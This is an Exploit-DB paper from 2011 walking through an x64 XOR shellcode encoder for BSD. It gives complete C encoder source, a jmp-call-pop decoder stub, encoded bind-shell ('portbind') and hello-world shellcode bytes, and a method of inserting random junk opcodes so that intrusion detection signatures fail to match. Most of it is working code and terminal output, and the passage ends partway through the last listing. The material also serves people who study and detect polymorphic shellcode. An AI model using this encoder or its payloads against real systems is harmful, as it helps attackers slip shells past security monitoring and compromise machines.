Simple x64 XOR Shellcode Obfuscation

EDB-ID:

17775

CVE:

N/A

Author:

entropy

Type:

papers

Platform:

Multiple

Published:

2011-09-03

Part 2 of http://lucifer.phiral.net/x64_xor_encoder.txt

Download code at: http://lucifer.phiral.net/x64_bsd_encoder_2.tgz

Code is not optimized at all, only used as an example. This
only for shellcode less then 255 bytes, anything over
and you would have to change the loader - the old encoder does
this for you if you need and example.

The last encoder.c wrote the loader.s assembly file, using
1) the byte used to xor your shellcode and 2) the bytes that it
read from ./sc.bin. It assembled and linked loader.s, then
dumped the opcodes with a shell script - basically showing the
steps in a way that was easy to reproduce.
 
The loader.s template always looked like:

.section .data
.globl _start
_start:
    xorq %r8, %r8
    movb <BYTE XORING WITH>, %r9b <------- #1
    jmp get_sc_addr
jmp_back:
    popq %rax
    xorq %rcx, %rcx
    xorq %rbx, %rbx
xor_loop:
    movb (%rax, %rcx, 1), %bl
    cmpq %r8, %rbx
    je exec_sc
    xorb %r9b, %bl
    movb %bl, (%rax, %rcx, 1)
    incq %rcx
    jmp xor_loop
get_sc_addr:
    call jmp_back
exec_sc:
   .byte 0x<SC BYTE0>,0x<SC BYTE1>,0x<SC BYTE2>...
         ^
         | <------- #2

Which you can see by just running ./encoder from part 1 and cat'ing loader.s. 

Example:

[entropy@phiral.net ~/code/encoder/fids/old]$ wget http://lucifer.phiral.net/x64_bsd_encoder.tgz

100%[============================================================>] 3,002       --.-K/s   in 
0.04s   

2011-09-01 17:30:07 (81.6 KB/s) - `x64_bsd_encoder.tgz' saved [3002/3002]

[entropy@phiral.net ~/code/encoder/fids/old]$ tar -xvzf x64_bsd_encoder.tgz 
x encoder.c
x get-sc.sh
x portbind.s
x shell.s
x exec-sc.c
x hello_world.s
x sc.sh
[entropy@phiral.net ~/code/encoder/fids/old]$ gcc encoder.c -o encoder   

[entropy@phiral.net ~/code/encoder/fids/old]$ as portbind.s -o portbind.o

[entropy@phiral.net ~/code/encoder/fids/old]$ ld portbind.o -o portbind 

[entropy@phiral.net ~/code/encoder/fids/old]$ ./get-sc.sh portbind
"\x90\x6a\x61\x58\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\xcd\x80\x4d\x31\xc0\x41\x89\xc0\x4d\x31[...]

[entropy@phiral.net ~/code/encoder/fids/old]$ perl -e 'print "\x90\x6a\x61[...]";' > sc.bin

[entropy@phiral.net ~/code/encoder/fids/old]$ ./encoder 

shellcode length: 178

"\x4d\x31\xc0\x41\xb1\x03\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x93\x69\x62\x5b\x69\x01"
"\x5c\x69\x02\x5d\x69\x05\x59\xce\x83\x4e\x32\xc3\x42\x8a\xc3"
"\x4e\x32\xd1\x42\x51\x42\x51\x4b\x32\xca\xb2\x02\xc5\x07\x0f"
"\x01\xb2\x01\x65\xc4\x07\x0f\x19\x09\x69\x6b\x5b\x42\x53\x5c"
"\x4b\x8a\xe5\x69\x13\x59\xce\x83\x69\x69\x5b\x42\x53\x5c\x69"
"\x02\x5d\xce\x83\x69\x1d\x5b\x42\x53\x5c\x4b\x8a\xe5\x4b\x32"
"\xca\xb2\x13\x52\x4b\x8a\xe1\xce\x83\x5a\x4e\x32\xca\x42\x8a"
"\xc2\x69\x59\x5b\x47\x8a\xcc\x4b\x32\xf5\xce\x83\x69\x59\x5b"
"\x47\x8a\xcc\x69\x02\x5d\xce\x83\x69\x59\x5b\x47\x8a\xcc\x69"
"\x01\x5d\xce\x83\x69\x38\x5b\x4b\x32\xca\x52\x4b\x8a\xe5\x4b"
"\xba\x2c\x61\x6a\x6d\x2c\x70\x6b\xa9\x52\x4b\x8a\xe4\x4b\x32"
"\xd8\x4b\x32\xca\xb2\x04\x8b\x1f\x0f\x4b\x32\xd1\xce\x83\x69"
"\x02\x5b\x4b\x32\xfc\xce\x83"

[entropy@phiral.net ~/code/encoder/fids/old]$ cat loader.s
.section .data
.globl _start
_start:
    xorq %r8, %r8
    movb $3, %r9b        <------------ $3 is what this is xoring with
    jmp get_sc_addr
jmp_back:
    popq %rax
    xorq %rcx, %rcx
    xorq %rbx, %rbx
xor_loop:
    movb (%rax, %rcx, 1), %bl
    cmpq %r8, %rbx
    je exec_sc
    xorb %r9b, %bl
    movb %bl, (%rax, %rcx, 1)
    incq %rcx
    jmp xor_loop
get_sc_addr:
    call jmp_back
exec_sc:
   .byte 0x93,0x69,0x62,0x5b,0x69,0x01,0x5c,0x69,0x02,0x5d,0x69,0x05,0x59,0xce,0x83[...]
         ^
         ^ xored with $3 shellcode bytes

Since this was written to the .data section and not the .text (you have to change
from .text section as its readonly+execute). 

  1 .text         0000fcb0  0000000000400240  0000000000400240  00000240  2**6
                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 15 .data         00000018  0000000000500af8  0000000000500af8  00000af8  2**3
                  CONTENTS, ALLOC, LOAD, DATA

Change .data section to .text and re-assemble and link so you can dump opcodes of 
the encoder easily.

[entropy@phiral.net ~/code/encoder/fids/old]$ cat loader.s | sed -e 's/.data/.text/g' > load.s

[entropy@phiral.net ~/code/encoder/fids/old]$ as -gstabs load.s -o load.o

[entropy@phiral.net ~/code/encoder/fids/old]$ ld load.o -o load

[entropy@phiral.net ~/code/encoder/fids/old]$ objdump -d load

[...]

00000000004000b0 <_start>:
  4000b0:	4d 31 c0             	xor    %r8,%r8
  4000b3:	41 b1 03             	mov    $0x3,%r9b
  4000b6:	eb 1a                	jmp    4000d2 <get_sc_addr>

00000000004000b8 <jmp_back>:
  4000b8:	58                   	pop    %rax
  4000b9:	48 31 c9             	xor    %rcx,%rcx
  4000bc:	48 31 db             	xor    %rbx,%rbx

00000000004000bf <xor_loop>:
  4000bf:	8a 1c 08             	mov    (%rax,%rcx,1),%bl
  4000c2:	4c 39 c3             	cmp    %r8,%rbx
  4000c5:	74 10                	je     4000d7 <exec_sc>
  4000c7:	44 30 cb             	xor    %r9b,%bl
  4000ca:	88 1c 08             	mov    %bl,(%rax,%rcx,1)
  4000cd:	48 ff c1             	inc    %rcx
  4000d0:	eb ed                	jmp    4000bf <xor_loop>

00000000004000d2 <get_sc_addr>:
  4000d2:	e8 e1 ff ff ff       	callq  4000b8 <jmp_back>

[...]

Everything from <exec_sc> down is the shellcode. So the decoder in C looks
like:

unsigned char decoder[] = 
"\x4d\x31\xc0"          /* xor    %r8,%r8               */
"\x41\xb1\x03"          /* mov    $0x3,%r9b             */
"\xeb\x1a"              /* jmp    4000d2 <get_sc_addr>  */
"\x58"                  /* pop    %rax                  */
"\x48\x31\xc9"          /* xor    %rcx,%rcx             */
"\x48\x31\xdb"          /* xor    %rbx,%rbx             */
"\x8a\x1c\x08"          /* mov    (%rax,%rcx,1),%bl     */
"\x4c\x39\xc3"          /* cmp    %r8,%rbx              */
"\x74\x10"              /* je     4000d7 <exec_sc>      */
"\x44\x30\xcb"          /* xor    %r9b,%bl              */
"\x88\x1c\x08"          /* mov    %bl,(%rax,%rcx,1)     */
"\x48\xff\xc1"          /* inc    %rcx                  */
"\xeb\xed"              /* jmp    4000bf <xor_loop>     */
"\xe8\xe1\xff\xff\xff"; /* callq  4000b8 <jmp_back>     */

Except in the old encoder.c I picked the first available good
byte I could xor everything with and not get a \x0, in this one
I make an array of all good bytes and randomly pick one. So the first
change is the line:

"\x41\xb1\x03"          /* mov    $0x3,%r9b             */

will change to

"\x41\xb1\x00"          /* mov    $0x00,%r9b             */

where 00 is some byte we can xor all the shellcode with. Thats the 5th
byte from the start of decoder, so overwrite that when we find a suitable
one. The new C code looks like:

[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ cat encoder.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <string.h>
 
unsigned char decoder[] =
 "\x4d\x31\xc0"          /* xor    %r8,%r8               */
 "\x41\xb1\x00"          /* mov    $0x00,%r9b            */
 "\xeb\x1a"              /* jmp    4000d2 <get_sc_addr>  */
 "\x58"                  /* pop    %rax                  */
 "\x48\x31\xc9"          /* xor    %rcx,%rcx             */
 "\x48\x31\xdb"          /* xor    %rbx,%rbx             */
 "\x8a\x1c\x08"          /* mov    (%rax,%rcx,1),%bl     */
 "\x4c\x39\xc3"          /* cmp    %r8,%rbx              */
 "\x74\x10"              /* je     4000d7 <exec_sc>      */
 "\x44\x30\xcb"          /* xor    %r9b,%bl              */
 "\x88\x1c\x08"          /* mov    %bl,(%rax,%rcx,1)     */
 "\x48\xff\xc1"          /* inc    %rcx                  */
 "\xeb\xed"              /* jmp    4000bf <xor_loop>     */
 "\xe8\xe1\xff\xff\xff"; /* callq  4000b8 <jmp_back>     */

int 
main(int argc, char **argv) {

    struct stat sstat;
    int i, n, fd, len, xor_with;
    int dlen;
    unsigned char *fbuf, *ebuf;
    unsigned char bad_bytes[256] = {0};
    unsigned char good_bytes[256] = {0};

    /* open the sc.bin file and read all the bytes */
    if (lstat("sc.bin", &sstat) < 0) {
        _exit(-1);
    }

    len = sstat.st_size;
    if ((fbuf = (unsigned char *)malloc(len)) == NULL) {
        perror("malloc");
        _exit(-1);
    }
    
    if ((fd = open("sc.bin", O_RDONLY)) < 0) {
        perror("open");
        _exit(-1);
    }

    if (read(fd, fbuf, len) != len) {
        perror("read");
        _exit(-1);
    }

    close(fd);

    /* try every byte xored, if its \x0 add to bad_bytes */
    for (n = 0; n < len; n++) {
        for (i = 1; i < 256; i++) {
             if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i;
        }
    }  

    /* if its not a bad_byte its a good_one (ordered) */
    for (i = 1, n = 0; i < 256; i++) {
        if (bad_bytes[i] == '\0') good_bytes[n++] = i;
    }
    
    srand((unsigned)time(NULL));  
    xor_with = good_bytes[rand()%n];

    if (xor_with) {
        printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with);
        srand((unsigned)time(NULL));
        xor_with = good_bytes[rand()%n];

        /* overwrite that 5th xor byte with the xor_with byte */
        decoder[5] = xor_with;
        dlen = strlen((char *)decoder);

        if ((ebuf = (unsigned char *)malloc(dlen+len+1)) == NULL) {
            perror("malloc");
            _exit(-1);
        }
        memset(ebuf, '\x0', sizeof(ebuf));

        /* copy the en/decoder into the array */
        for (i = 0; i < dlen; i++) {
            ebuf[i] = decoder[i]; 
        }

        /* copy the xored shellcode byes in */
        for (i = 0; i < len; i++) {
            ebuf[(i+dlen)] = xor_with^*(fbuf+i);
        }

        printf("\n\"");
        for (i = 0; i < strlen((char *)ebuf); i++) {
            if (i > 0 && i % 15 == 0) printf("\"\n\""); 
            printf("\\x%02x", ebuf[i]);
        }
        printf("\";\n\n");

        return 0;
    } else {
        printf("\n[*] No byte found to XOR with :(\n");
        _exit(-1);
    }

    return 0;
}

[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ gcc -Wall encoder.c -o encoder
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ as hello_world.s -o hello_world.o
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ld hello_world.o -o hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./write-sc.sh

Usage: ./write-sc.sh <bin>

Dumps opcodes from assembled and linked bin,
then perl -e 'print <OPCODES>;' to sc.bin.

Example: 
as code.s -o code.o
ld code.o -o code
./write-sc.sh code

[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./write-sc.sh hello_world

Now everytime its run it will pseudo randomly pick the byte to xor with
out of the array of good_bytes.

[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder 

[x] Choose to XOR with 0xfd

"\x4d\x31\xc0\x41\xb1\xfd\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x6d\x97\xf9\xa5\x97\xfc"
"\xa2\xb5\x44\x92\x8f\x91\x99\xdc\xf7\x57\x57\xac\xb5\x44\xb5"
"\x98\x91\x91\x92\xd1\xdd\xaa\xac\xb5\xcc\x26\xb5\xcc\x34\x44"
"\xf3\xfd\xfd\xfd\x9b\x74\xe1\xf1\xb5\x74\x1b\x97\xf3\xa7\x30"
"\x7d\xa4\xa4\x97\xfc\xa5\x97\xfd\xa2\x30\x7d";

[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder 

[x] Choose to XOR with 0xb7

"\x4d\x31\xc0\x41\xb1\xb7\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x27\xdd\xb3\xef\xdd\xb6"
"\xe8\xff\x0e\xd8\xc5\xdb\xd3\x96\xbd\x1d\x1d\xe6\xff\x0e\xff"
"\xd2\xdb\xdb\xd8\x9b\x97\xe0\xe6\xff\x86\x6c\xff\x86\x7e\x0e"
"\xb9\xb7\xb7\xb7\xd1\x3e\xab\xbb\xff\x3e\x51\xdd\xb9\xed\x7a"
"\x37\xee\xee\xdd\xb6\xef\xdd\xb7\xe8\x7a\x37";

[entropy@phiral.net ~/code/encoder/fids/fini/1/1]$ ./encoder 

[x] Choose to XOR with 0xeb

"\x4d\x31\xc0\x41\xb1\xeb\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb"
"\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48"
"\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x7b\x81\xef\xb3\x81\xea"
"\xb4\xa3\x52\x84\x99\x87\x8f\xca\xe1\x41\x41\xba\xa3\x52\xa3"
"\x8e\x87\x87\x84\xc7\xcb\xbc\xba\xa3\xda\x30\xa3\xda\x22\x52"
"\xe5\xeb\xeb\xeb\x8d\x62\xf7\xe7\xa3\x62\x0d\x81\xe5\xb1\x26"
"\x6b\xb2\xb2\x81\xea\xb3\x81\xeb\xb4\x26\x6b";

But the problem is the decoder code is always the same,
so any ids/ips/hids etc will be able to pick it up with their leet 
string matching 100k dollar skillz. A solution is to put some random
useless shit opcodes before and in between the decoder. Obviously
this will make the shellcode larger.

I dont use any registers above %r9 in code so make up a useless.s
with a bunch of useless asm, assemble and link it and dump opcodes.

[entropy@phiral.net ~/code/encoder/fids]$ cat useless.s
.section .text
.globl _start
_start:
    nop
    xor %r10, %r10
    xor %r11, %r11
    xor %r12, %r12
    xor %r13, %r13  
    xor %r14, %r14
    xor %r15, %r15
    shr $8, %r10
    shl $8, %r10
    shr $8, %r11
    shl $8, %r11
    shr $8, %r12
    shl $8, %r12
    shr $8, %r13
    shl $8, %r13
    shr $8, %r14
    shl $8, %r14
    shr $8, %r15
    shl $8, %r15
    incq %r10
    decq %r10
    incq %r11
    decq %r11
    incq %r12
    decq %r12
    incq %r13
    decq %r13
    incq %r14
    decq %r14
    incq %r15
    decq %r15

Obvioulsy theres a fuck load of others that would work also but...

[entropy@phiral.net ~/code/encoder/fids]$ as useless.s -o useless.o
[entropy@phiral.net ~/code/encoder/fids]$ ld useless.o -o useless

[entropy@phiral.net ~/code/encoder/fids]$ objdump -d ./useless | grep -v 'file' |cut -d: -f2|cut 
-f1-7 -d' '|tr -s ' '| tr '\t' ' '|sed 's/ $//g' | sed -e '/^$/d'
 90
 4d 31 d2
 4d 31 db
 4d 31 e4
 4d 31 ed
 4d 31 f6
 4d 31 ff
 49 c1 ea 08
 49 c1 e2 08
 49 c1 eb 08
 49 c1 e3 08
 49 c1 ec 08
 49 c1 e4 08
 49 c1 ed 08
 49 c1 e5 08
 49 c1 ee 08
 49 c1 e6 08
 49 c1 ef 08
 49 c1 e7 08
 49 ff c2
 49 ff ca
 49 ff c3
 49 ff cb
 49 ff c4
 49 ff cc
 49 ff c5
 49 ff cd
 49 ff c6
 49 ff ce
 49 ff c7
 49 ff cf

And in C:

[entropy@phiral.net ~/code/encoder/fids]$ objdump -d ./useless | grep -v 'file' |cut -d: -f2|cut 
-f1-7 -d' '|tr -s ' '| tr '\t' ' '|sed 's/ $//g' | sed -e '/^$/d' | wc
      31     103     340

31 lines of...

unsigned char useless[][5] = {
 {"\x90"},              /* nop              */
 {"\x4d\x31\xd2"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xdb"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xe4"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xed"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xf6"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xff"},      /* xor    %r10,%r10 */
 {"\x49\xc1\xea\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe2\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xeb\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe3\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xec\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe4\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xed\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe5\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xee\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe6\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xef\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe7\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xff\xc2"},      /* inc    %r10      */
 {"\x49\xff\xca"},      /* dec    %r10      */
 {"\x49\xff\xc3"},      /* inc    %r10      */
 {"\x49\xff\xcb"},      /* dec    %r10      */
 {"\x49\xff\xc4"},      /* inc    %r10      */
 {"\x49\xff\xcc"},      /* dec    %r10      */
 {"\x49\xff\xc5"},      /* inc    %r10      */
 {"\x49\xff\xcd"},      /* dec    %r10      */
 {"\x49\xff\xc6"},      /* inc    %r10      */
 {"\x49\xff\xce"},      /* dec    %r10      */ 
 {"\x49\xff\xc7"},      /* inc    %r10      */
 {"\x49\xff\xcf"}};     /* dec    %r10      */

The new encoder.c looks like:

[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ cat encoder.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <string.h>
 
unsigned char decoder[] =
 "\x4d\x31\xc0"          /* xor    %r8,%r8               */
 "\x41\xb1\x00"          /* mov    $0x00,%r9b            */
 "\xeb\x1a"              /* jmp    4000d2 <get_sc_addr>  */
 "\x58"                  /* pop    %rax                  */
 "\x48\x31\xc9"          /* xor    %rcx,%rcx             */
 "\x48\x31\xdb"          /* xor    %rbx,%rbx             */
 "\x8a\x1c\x08"          /* mov    (%rax,%rcx,1),%bl     */
 "\x4c\x39\xc3"          /* cmp    %r8,%rbx              */
 "\x74\x10"              /* je     4000d7 <exec_sc>      */
 "\x44\x30\xcb"          /* xor    %r9b,%bl              */
 "\x88\x1c\x08"          /* mov    %bl,(%rax,%rcx,1)     */
 "\x48\xff\xc1"          /* inc    %rcx                  */
 "\xeb\xed"              /* jmp    4000bf <xor_loop>     */
 "\xe8\xe1\xff\xff\xff"; /* callq  4000b8 <jmp_back>     */

unsigned char useless[][5] = {
 {"\x90"},              /* nop              */
 {"\x4d\x31\xd2"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xdb"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xe4"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xed"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xf6"},      /* xor    %r10,%r10 */
 {"\x4d\x31\xff"},      /* xor    %r10,%r10 */
 {"\x49\xc1\xea\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe2\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xeb\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe3\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xec\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe4\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xed\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe5\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xee\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe6\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xc1\xef\x08"},  /* shr    $0x8,%r10 */
 {"\x49\xc1\xe7\x08"},  /* shl    $0x8,%r10 */
 {"\x49\xff\xc2"},      /* inc    %r10      */
 {"\x49\xff\xca"},      /* dec    %r10      */
 {"\x49\xff\xc3"},      /* inc    %r10      */
 {"\x49\xff\xcb"},      /* dec    %r10      */
 {"\x49\xff\xc4"},      /* inc    %r10      */
 {"\x49\xff\xcc"},      /* dec    %r10      */
 {"\x49\xff\xc5"},      /* inc    %r10      */
 {"\x49\xff\xcd"},      /* dec    %r10      */
 {"\x49\xff\xc6"},      /* inc    %r10      */
 {"\x49\xff\xce"},      /* dec    %r10      */ 
 {"\x49\xff\xc7"},      /* inc    %r10      */
 {"\x49\xff\xcf"}};     /* dec    %r10      */

int 
main(int argc, char **argv) {

    struct stat sstat;
    int i, n, fd, len, xor_with;
    int dlen, plen;
    unsigned char *fbuf, *ebuf;
    unsigned char bad_bytes[256] = {0};
    unsigned char good_bytes[256] = {0};

    /* open the sc.bin file and read all the bytes */
    if (lstat("sc.bin", &sstat) < 0) {
        _exit(-1);
    }

    len = sstat.st_size;
    if ((fbuf = (unsigned char *)malloc(len)) == NULL) {
        perror("malloc");
        _exit(-1);
    }
    
    if ((fd = open("sc.bin", O_RDONLY)) < 0) {
        perror("open");
        _exit(-1);
    }

    if (read(fd, fbuf, len) != len) {
        perror("read");
        _exit(-1);
    }

    close(fd);

    /* try every byte xored, if its \x0 add to bad_bytes */
    for (n = 0; n < len; n++) {
        for (i = 1; i < 256; i++) {
             if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i;
        }
    }  

    /* if its not a bad_byte its a good_one (ordered) */
    for (i = 1, n = 0; i < 256; i++) {
        if (bad_bytes[i] == '\0') good_bytes[n++] = i;
    }
    
    srand((unsigned)time(NULL));  
    xor_with = good_bytes[rand()%n];

    if (xor_with) {
        printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with);
        srand((unsigned)time(NULL));
        xor_with = good_bytes[rand()%n];

        /* overwrite that 5th xor byte with the xor_with byte */
        decoder[5] = xor_with;
        dlen = strlen((char *)decoder);

        /* prepend: longest useless[] instruction were using is four bytes
         * randomly prepend between one and four useless instructions so
         * sixteen bytes at maximim. 
         */
        if ((ebuf = (unsigned char *)malloc(16+dlen+len+1)) == NULL) {
            perror("malloc");
            _exit(-1);
        }
        memset(ebuf, '\x0', sizeof(ebuf));

        /* randomly prepend between one and four instructions */
        /* thirty one lines of useless[] instructions in 2d array */
        n = rand()%(4 + 1);
        for (i = 0, plen = 0; i < n; i++) {
            int k, opcode = rand()%31;
            printf("[p] Prepending useless opcodes: ");
            for (k = 0; k < strlen((char *)useless[opcode]); k++) {
                printf("\\x%02x", useless[opcode][k]);
            }
            printf("\n");
            memcpy(ebuf+plen, useless[opcode], strlen((char *)useless[opcode]));
            plen += strlen((char *)useless[opcode]);
        }
        printf("\n");

        for (i = 0; i < dlen; i++) {
             ebuf[(i+plen)] = decoder[i];             
        } 

        /* copy the xored shellcode byes in */
        for (i = 0; i < len; i++) {
            ebuf[(i+dlen+plen)] = xor_with^*(fbuf+i);
        }

        printf("\n\"");
        for (i = 0; i < strlen((char *)ebuf); i++) {
            if (i > 0 && i % 15 == 0) printf("\"\n\""); 
            printf("\\x%02x", ebuf[i]);
        }
        printf("\";\n\n");

        return 0;
    } else {
        printf("\n[*] No byte found to XOR with :(\n");
        _exit(-1);
    }

    return 0;
}

[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ gcc -Wall encoder.c -o encoder

[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ as hello_world.s -o hello_world.o 
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ld hello_world.o -o hello_world 
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./write-sc.sh hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder 

[x] Choose to XOR with 0x1f

[p] Prepending useless opcodes: \x49\xff\xc4
[p] Prepending useless opcodes: \x49\xc1\xe5\x08
[p] Prepending useless opcodes: \x49\xff\xc7


"\x49\xff\xc4\x49\xc1\xe5\x08\x49\xff\xc7\x4d\x31\xc0\x41\xb1"
"\x1f\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39"
"\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8"
"\xe1\xff\xff\xff\x8f\x75\x1b\x47\x75\x1e\x40\x57\xa6\x70\x6d"
"\x73\x7b\x3e\x15\xb5\xb5\x4e\x57\xa6\x57\x7a\x73\x73\x70\x33"
"\x3f\x48\x4e\x57\x2e\xc4\x57\x2e\xd6\xa6\x11\x1f\x1f\x1f\x79"
"\x96\x03\x13\x57\x96\xf9\x75\x11\x45\xd2\x9f\x46\x46\x75\x1e"
"\x47\x75\x1f\x40\xd2\x9f";

[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder 

[x] Choose to XOR with 0x8f

[p] Prepending useless opcodes: \x4d\x31\xf6


"\x4d\x31\xf6\x4d\x31\xc0\x41\xb1\x8f\xeb\x1a\x58\x48\x31\xc9"
"\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88"
"\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x1f\xe5\x8b"
"\xd7\xe5\x8e\xd0\xc7\x36\xe0\xfd\xe3\xeb\xae\x85\x25\x25\xde"
"\xc7\x36\xc7\xea\xe3\xe3\xe0\xa3\xaf\xd8\xde\xc7\xbe\x54\xc7"
"\xbe\x46\x36\x81\x8f\x8f\x8f\xe9\x06\x93\x83\xc7\x06\x69\xe5"
"\x81\xd5\x42\x0f\xd6\xd6\xe5\x8e\xd7\xe5\x8f\xd0\x42\x0f";

[entropy@phiral.net ~/code/encoder/fids/fini/1/2]$ ./encoder 

[x] Choose to XOR with 0xc8

[p] Prepending useless opcodes: \x49\xc1\xee\x08
[p] Prepending useless opcodes: \x49\xff\xcd
[p] Prepending useless opcodes: \x49\xc1\xea\x08


"\x49\xc1\xee\x08\x49\xff\xcd\x49\xc1\xea\x08\x4d\x31\xc0\x41"
"\xb1\xc8\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c"
"\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed"
"\xe8\xe1\xff\xff\xff\x58\xa2\xcc\x90\xa2\xc9\x97\x80\x71\xa7"
"\xba\xa4\xac\xe9\xc2\x62\x62\x99\x80\x71\x80\xad\xa4\xa4\xa7"
"\xe4\xe8\x9f\x99\x80\xf9\x13\x80\xf9\x01\x71\xc6\xc8\xc8\xc8"
"\xae\x41\xd4\xc4\x80\x41\x2e\xa2\xc6\x92\x05\x48\x91\x91\xa2"
"\xc9\x90\xa2\xc8\x97\x05\x48";

etc.

Now to insert useless opcodes between the decoder. The instructions
chosen will not effect anything in this, so after each instruction 
up until the jmp it is possible to insert any of them. Obviously you cant
insert any after the jmp as it would fuck up the relative offset, but 
if your willing to fix the jmp offsets its possible.

    "\x4d\x31\xc0"          /* xor    %r8,%r8               */ index 2
    "\x41\xb1\x00"          /* mov    $0x00,%r9b            */ index 5
    "\xeb\x1a"              /* jmp    4000d2 <get_sc_addr>  */ 
    "\x58"                  /* pop    %rax                  */ 
    "\x48\x31\xc9"          /* xor    %rcx,%rcx             */ 
    "\x48\x31\xdb"          /* xor    %rbx,%rbx             */ 
    "\x8a\x1c\x08"          /* mov    (%rax,%rcx,1),%bl     */ 
    "\x4c\x39\xc3"          /* cmp    %r8,%rbx              */ 
    "\x74\x10"              /* je     4000d7 <exec_sc>      */ 
    "\x44\x30\xcb"          /* xor    %r9b,%bl              */ 
    "\x88\x1c\x08"          /* mov    %bl,(%rax,%rcx,1)     */ 
    "\x48\xff\xc1"          /* inc    %rcx                  */ 
    "\xeb\xed"              /* jmp    4000bf <xor_loop>     */ 
    "\xe8\xe1\xff\xff\xff"; /* callq  4000b8 <jmp_back>     */ 

The code to then put random instructions at index 2 and index 5 of the 
decoder is:

[entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat encoder.c 
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <string.h>

/*
 * 
 * im completely rehabilitated, reinvigorated, 
 * reassimilated and relocated psych 
 *
 */
 
unsigned char decoder[] =
 "\x4d\x31\xc0"          /* xor    %r8,%r8               */
 "\x41\xb1\x00"          /* mov    $0x00,%r9b            */
 "\xeb\x1a"              /* jmp    4000d2 <get_sc_addr>  */
 "\x58"                  /* pop    %rax                  */
 "\x48\x31\xc9"          /* xor    %rcx,%rcx             */
 "\x48\x31\xdb"          /* xor    %rbx,%rbx             */
 "\x8a\x1c\x08"          /* mov    (%rax,%rcx,1),%bl     */
 "\x4c\x39\xc3"          /* cmp    %r8,%rbx              */
 "\x74\x10"              /* je     4000d7 <exec_sc>      */
 "\x44\x30\xcb"          /* xor    %r9b,%bl              */
